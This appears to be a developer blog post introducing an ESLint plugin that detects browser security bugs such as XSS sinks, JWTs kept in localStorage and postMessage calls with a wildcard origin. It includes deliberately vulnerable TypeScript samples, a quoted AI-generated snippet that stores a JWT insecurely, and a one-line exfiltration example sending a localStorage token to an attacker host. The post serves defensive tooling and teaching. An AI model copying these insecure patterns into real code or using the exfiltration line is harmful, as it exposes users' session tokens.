4 Browser Security Bugs That Pass Code Review — One Lint Run, 8 CI Errors

Here is src/hook.ts — four browser security bugs in one file. All of it compiles, all of it passes review, none of it is visible to the backend pentest your team scheduled for next quarter:

declare const el: HTMLElement;
declare const profile: { bio: string };
declare const jwt: string;
declare const widget: HTMLIFrameElement;
declare const authToken: string;
declare function applyAuth(t: string): void;

el.innerHTML = profile.bio; // renders fine; the reviewer checked layout, not sink context

localStorage.setItem("token", jwt); // first search result for "store JWT frontend"

widget.contentWindow?.postMessage({ authToken }, "*"); // straight from the vendor's docs

void fetch("http://api.example.com/session"); // dev uses http://; nobody changed it

window.addEventListener("message", (event) => {
  // no origin check on the way back in
  applyAuth(event.data.token);
});

An XSS sink (CWE-79), a token any injected script can read (CWE-922), a token broadcast to whatever origin holds that window (CWE-346), a session fetched in plaintext (CWE-319). None of it throws, none of it fails a unit test, and your type-checker is satisfied — innerHTML accepts a string. The pentest never touches any of it, because it all runs in the user's browser, after your server is done.

That is the shape of browser security debt: it looks identical to correct code. Nothing in the standard toolchain draws the line between the dangerous version and the safe one. A linter can — it is the one job a linter is unusually good at.

Here is npx eslint . on that file, with eslint-plugin-browser-security installed and nothing else configured:

src/hook.ts
   8:1   error  🔒 CWE-79  OWASP:A05-Injection      CVSS:6.1  no-innerhtml
  10:1   error  🔒 CWE-922                                    no-sensitive-localstorage
  10:1   error  🔒 CWE-922 OWASP:A02-Cryptographic  CVSS:8.1  no-jwt-in-storage
  12:50  error  🔒 CWE-346 OWASP:A01-Broken         CVSS:7.5  no-postmessage-wildcard-origin
  14:6   error  🔒 CWE-319                                    require-https-only
  14:12  error  🔒 CWE-311 OWASP:A04-Cryptographic  CVSS:7.5  detect-mixed-content
  14:12  error  ⚠️ CWE-319 OWASP:A02-Cryptographic  CVSS:5.3  no-http-urls
  16:36  error  🔒 CWE-346                                    require-postmessage-origin-check

✖ 8 problems (8 errors, 0 warnings)

_{eslint-plugin-browser-security@1.2.6 · ESLint 9.39.5 · Node v24.18.0 · captured 2026-07-28. Each real line also carries a plain-English description, a Fix: line, a docs URL, and the browser-security/ rule prefix — cut here for width. Positions, rule ids and counts are verbatim: paste the file above and you should get the same eight.}

Four bugs, eight errors, every one carrying a CWE id and most a CVSS score. Forty-five rules cover that surface at v1.2.6. The rest of this article is the setup that produces that output, the three patterns worth understanding properly, and the honest edges — including a mislabel I found in my own metadata while capturing these runs.

TL;DR

• 45 rules (v1.2.6), every one carrying a CWE id, most carrying a CVSS score.
• 8 presets: flagship (1 rule), recommended (31), strict (all 45), plus five focused starter presets for gradual adoption — xss (no-innerhtml + no-eval), postmessage (both wildcard + origin-check rules), and the one-rule footholds storage (no-sensitive-localstorage), websocket (require-websocket-wss), cookies (no-sensitive-cookie-js).
• Flat config, CommonJS (loads from eslint.config.js and .mjs), ESLint ^8 || ^9 || ^10, Node >= 18, npm/yarn/pnpm/bun. ESLint is the only peer dependency — it reads source, so there is nothing to add at runtime. The flagship rule also runs under Oxlint's JS-plugin runner via the interlace-browser-security port, parity-checked in CI; the full 45 are ESLint today.
• It matches source patterns, not runtime behaviour. It cannot evaluate the CSP your server sends or prove your sanitizer is complete. Earliest layer, not the only one.

Get it running

npm install --save-dev eslint-plugin-browser-security
# yarn add --dev · pnpm add --save-dev · bun add --dev — plain dev dependency

Flat config — eslint.config.js or eslint.config.mjs, the package is CommonJS
and loads from both. This is the whole file for a TypeScript project:

// `configs` is a NAMED export; the default export is the plugin object.
import { configs } from "eslint-plugin-browser-security";
import tsParser from "@typescript-eslint/parser";

export default [
  { files: ["**/*.ts", "**/*.tsx"], languageOptions: { parser: tsParser } },
  // or: strict · flagship · xss · storage · postmessage · websocket · cookies
  configs.recommended,
];

npx eslint .

Do not drop the files + parser entry. configs.recommended ships the
rules and the plugin but registers neither, so on its own, flat config skips
every .ts file in the project. Silently under npx eslint .; on an explicit
path it at least tells you:

src/auth.ts
  0:0  warning  File ignored because no matching configuration was supplied

Zero errors, exit code 0, green CI — and the plugin looks broken when it simply
never saw your files. That cost me ten minutes while capturing the runs in this
article, which is the cheap version of the lesson: a suspiciously clean position
is the one you re-examine before you move. The
reproducibility
habit is one line of effort — pin the versions you ran, and if the count is zero,
lint a file you know is dirty before you believe it.

Onboarding a whole inherited codebase rather than one repo you own? The
30-minute security audit protocol
sequences several plugins across it without drowning you in run one.

The postMessage pair: two decisions, and most code makes neither

postMessage is the most common source of token exfiltration I see in frontend
code, because it asks you to get two independent things right — one on the way
out, one on the way back in — and the failure mode of each is silence.

Send side — "*" is not a default, it is a disabled check

// ❌ no-postmessage-wildcard-origin (CWE-346, CVSS 7.5)
widget.contentWindow.postMessage({ authToken }, "*");

// ✅ name the exact origin you intend to talk to
widget.contentWindow.postMessage({ authToken }, "https://widget.example.com");

The second argument is a delivery filter, not decoration. The browser hands
the message to widget only if widget's current origin matches the target
you name. "*" switches that off, so the message is delivered whatever origin
now occupies the window. If the iframe has navigated — an OAuth redirect, an ad,
a compromised third-party widget — they receive your token.

Receive side — a listener with no origin check trusts anyone

// ❌ require-postmessage-origin-check (CWE-346)
window.addEventListener("message", (event) => {
  applyAuth(event.data.token); // any page that can reach this window can drive it
});

// ✅ validate the sender before you trust the payload
window.addEventListener("message", (event) => {
  if (event.origin !== "https://widget.example.com") return;
  if (event.source !== widget.contentWindow) return; // the window you opened
  applyAuth(event.data.token);
});

Any page holding a reference to your window — your opener, a page that embedded
you, a popup you spawned — can postMessage into that listener. With no
event.origin check, attacker-sent data flows straight into your auth state.

The event.source line is the part even careful code misses: event.origin
answers "what origin sent this," not "which window sent this." Embed two frames
from https://widget.example.com — the real one and an attacker-influenced
instance, say an ad slot the widget loaded itself — and both pass the string
compare. require-postmessage-origin-check enforces the origin gate; the source
pin is second-order and a linter cannot infer it, because it doesn't know which
window object you meant. Treat the rule as the floor, not the ceiling.

Put the two halves together and the chain is short. You post the session token to
a third-party widget with "*"; its CDN is compromised months later, or the
iframe src gets swapped by a redirect; the attacker's code, now running in that
frame, receives every message aimed at it and fetches the token out. No XSS in
your origin required — you handed it across the boundary yourself.

JWT in localStorage: the line your assistant writes for you

localStorage is readable by any JavaScript running on your origin — an
injected <script> from any XSS, a compromised npm dependency, a malicious
browser extension. There is no HttpOnly for localStorage; exfiltration is one
fetch(attacker, { body: localStorage.token }). Put the token where script
cannot reach it: Set-Cookie: token=…; HttpOnly; Secure; SameSite=Strict, issued
by the server.

You already knew that. The rule earns its place in CI because knowing it doesn't
help. Ask any assistant to "store the JWT and read it back on reload" and you
get localStorage.setItem(...) in the first response, essentially every time —
that is the statistical centre of a decade of answers and starter repos that took
the easy path, and the insecure version runs identically to the safe one.

I ran that round trip for this article. Verbatim into the claude CLI — "Write
a TypeScript function that stores the JWT and reads it back on page reload."
The function it returned, pasted as-is:

// generated output, unedited
const JWT_KEY = "jwt";

export const storeJwt = (token: string): void =>
  localStorage.setItem(JWT_KEY, token);
export const readJwt = (): string | null => localStorage.getItem(JWT_KEY);

Dropped into a project running configs.recommended, that is two errors on one
line — no-sensitive-localstorage and no-jwt-in-storage, both CWE-922, both
at 5:3, JWT_KEY quoted back at you in the message. The part worth noticing:
that run was against a security-tuned assistant which appended its own "prefer
HttpOnly cookies" caveat in prose — and still emitted the localStorage version
as the actual code. The caveat in the chat window does not stop the insecure line
from landing in the file. The rule does.

Which is the argument for CI over review. A reviewer fixes one localStorage
call; the next prompt regenerates it. A rule flags the regenerated bug exactly as
reliably as the original, and the base
rate of this
pattern in generated auth code is high enough that "we'll catch it in review" is
a plan which fails quietly.

no-jwt-in-storage, no-sensitive-localstorage, no-sensitive-sessionstorage,
and no-sensitive-indexeddb (all CWE-922) cover the storage surface. For
hardcoded API keys and inline secrets, the companion
eslint-plugin-secure-coding
catches those separately — including an autofix for AI-generated hardcoded
secrets.

Credentials in URLs: know exactly what it matches

Two rules cover credentials leaking through the URL itself:

_{⚠️ Both of those CWE ids are wrong. That is the next section.}

// ❌ no-credentials-in-query-params
fetch(`https://api.example.com/data?apiKey=${apiKey}`);
// Appears in access logs, browser history, and Referer headers on every outgoing link

// ✅ send credentials in the Authorization header
fetch("https://api.example.com/data", {
  headers: { Authorization: `Bearer ${apiKey}` },
});

Read that match list before you trust it. It is a substring check, not a
semantic one. ?apiKey= fires; ?api_key= — same secret, snake_case — does not.
That is a false negative, and it is the honest shape of this rule class: a name
heuristic, not taint
analysis. It
cannot follow a value from source to sink; it recognises spellings someone
listed. Better you learn that from the tutorial than from a breach.

Which brings me to the part I was not planning to write.

The rule ids are solid. The labels drift.

Every finding carries three labels past the rule id: a CWE, an OWASP Top
10 category, and a CVSS
score with a severity word. Capturing these runs, I read them properly for the
first time in a while. Two things are wrong at v1.2.6.

The URL-credential rules file the wrong weakness. They print CWE-798 and
CWE-521 — Use of Hard-coded Credentials and Weak Password Requirements.
Neither is this. A credential in a query string is CWE-598, Use of GET Request
Method With Sensitive Query Strings: a secret exposed through an insecure
transmission path, not one baked into source at build time. The rule's own file
cites definition 598 in its header comment and then emits 798 from its metadata.
The taxonomy id is how
a finding gets routed, deduplicated against a CVE database and prioritised — file
a transmission weakness as a hard-coded-credential one and a good triager closes
it as a duplicate of your secret scanner. no-password-in-url also prints
severity CRITICAL beside CVSS 5.3, which is Medium under the 3.1
bands; severity is not
derived from the score, so the two drift apart on their own. Same genus as the
bug I found when I audited 203 of our own rules and 16% mislabelled their own
CVSS score.

The OWASP tags come from two different editions. One http:// literal:

src/session.ts
  2:9  error  🔒 CWE-311 OWASP:A04-Cryptographic CVSS:7.5  detect-mixed-content
  2:9  error  ⚠️ CWE-319 OWASP:A02-Cryptographic CVSS:5.3  no-http-urls

Same line, same weakness family, tagged A04-Cryptographic and
A02-Cryptographic. Neither is a typo: rules declaring their own OWASP category
use the 2021 list, where Cryptographic Failures is A02; rules deriving theirs
from a CWE use the 2025 list, where it moved to A04. Each is right for its
edition, and the pair is useless for sorting unless you know which edition you
are reading.

The practical rule, here or in any tool: group findings by rule id, which is
exact, and treat the OWASP tag as a
proxy for the compliance
conversation rather than a key. These are metadata fixes, not detection fixes —
every rule still fires on exactly the code it claims to. I would rather you read
that here than meet it in a triage meeting.

The full rule set

All 45 at v1.2.6, grouped by category, with the CWE each rule actually emits
(verified against the rule sources on 2026-07-28 — including the two flagged
above as mislabelled):

One caveat on the CORS/CSRF/header block: those rules match source-level
expressions that configure a policy. They catch code setting a permissive CORS
config or omitting a CSP header value in your application source — not a policy
your reverse proxy enforces separately.

That is all 45 (10 + 7 + 6 + 2 + 2 + 3 + 6 + 9). recommended turns on 31;
strict turns on all 45. The 14 recommended leaves off, so you can turn them
on deliberately rather than discover them missing: no-password-in-url,
no-unescaped-url-parameter, no-unencrypted-transmission,
no-disabled-certificate-validation, no-sensitive-data-in-cache,
require-url-validation, require-mime-type-validation, the five
CORS/CSRF/header rules, and the two analytics/consent rules. Start at
recommended, graduate to strict once it is quiet.

If you want the client-side surface scored against the OWASP framework rather
than rule-by-rule, I mapped which OWASP categories ESLint rules actually hold
up against
separately — including the two that turn out to be vendor theatre.

What it does — and doesn't — see

• Source patterns, not runtime. It matches innerHTML =, postMessage(…, "*"), http:// literals, localStorage.setItem("token", …). It does not evaluate the CSP your server emits or prove a sanitizer is complete — the header rules check that you set a policy in source, not that the policy is airtight.
• Heuristics cut both ways. The storage and "sensitive data" rules match on names, so ?api_key= slips through while ?apiKey= fires, and a variable innocently called tokenCount trips no-sensitive-localstorage (I checked — it does). That is the false-negative / false-positive trade every name heuristic makes, and why this sits below taint-tracking SAST rather than replacing it. Tune the option lists; the defaults are not exhaustive.
• A green run is not a secure app. Once "zero browser-security errors" becomes the goal rather than the signal, it stops measuring anything — Goodhart applies to lint counts like any other dashboard number.
• It's the earliest layer. Pair it with a real CSP, framework escaping (React/Solid/Svelte auto-escape — these rules catch where you opt out via dangerouslySetInnerHTML and friends), and runtime monitoring.

Where this sits in the ecosystem

General linters and React-specific rules (eslint-plugin-no-unsanitized,
react/no-danger) cover slices of this — usually the innerHTML corner.
browser-security is the framework-agnostic layer for the whole browser
surface: transport, storage, cookies, CORS/CSRF, postMessage, WebSocket,
service workers. For where it sits against the field on a shared corpus, I
published 17 ESLint security plugins
compared,
scored on precision and
recall
rather than rule counts. I built both the tool and the corpus, so read it with
the suspicion that deserves.

The token in that localStorage call also has to come from somewhere. This
plugin catches the client mishandling it; on the issuing side,
eslint-plugin-jwt
catches the server that signs it wrong — most infamously the
alg: none forgery,
where a one-character header change mints an admin token. Run both and the JWT's
whole round trip is covered: minted, signed, transported, stored.

Links

• 📦 npm: eslint-plugin-browser-security
• 📖 Full rule docs (per-rule CWE + examples)
• 💻 Source on GitHub

Install it, keep the parser line, run npx eslint . on your frontend. Five
minutes, and the first finding is almost always a localStorage token or a
postMessage wildcard nobody remembers writing. Don't take my eight errors on
trust either — the file that produced them is up there; paste it and see whether
your run agrees with mine.

Two of the 45 rules print the wrong CWE today, and I would like the next version
of this article to say they don't. If you find a third — a rule that fires on
code you can defend, or stays quiet on code you can't — the issue
tracker is the fastest route to a
fix. The third-party-widget cases interest me most: the analytics snippet, the
chat bubble, the embedded checkout you handed a token to with "*" because the
vendor's own docs told you to.

📦 npm install --save-dev eslint-plugin-browser-security — 45 CWE-mapped rules for the browser surface.

eslint-plugin-browser-security is part of the Interlace ESLint ecosystem. Source on GitHub · Follow: Dev.to/ofri-peretz

I'm Ofri Peretz, a security engineering leader and the author of the
Interlace ESLint ecosystem — domain-specific static analysis for security,
reliability, and performance on the Node.js stack. browser-security is its
client-side layer.

ofriperetz.dev · LinkedIn · GitHub

The Hardened Stack series — guarding one request end to end:

← Issuing side: eslint-plugin-jwt — the server that signs the token
· You are here: the browser that stores it ·
Next: What 12 seconds of ESLint found in an inherited NestJS codebase →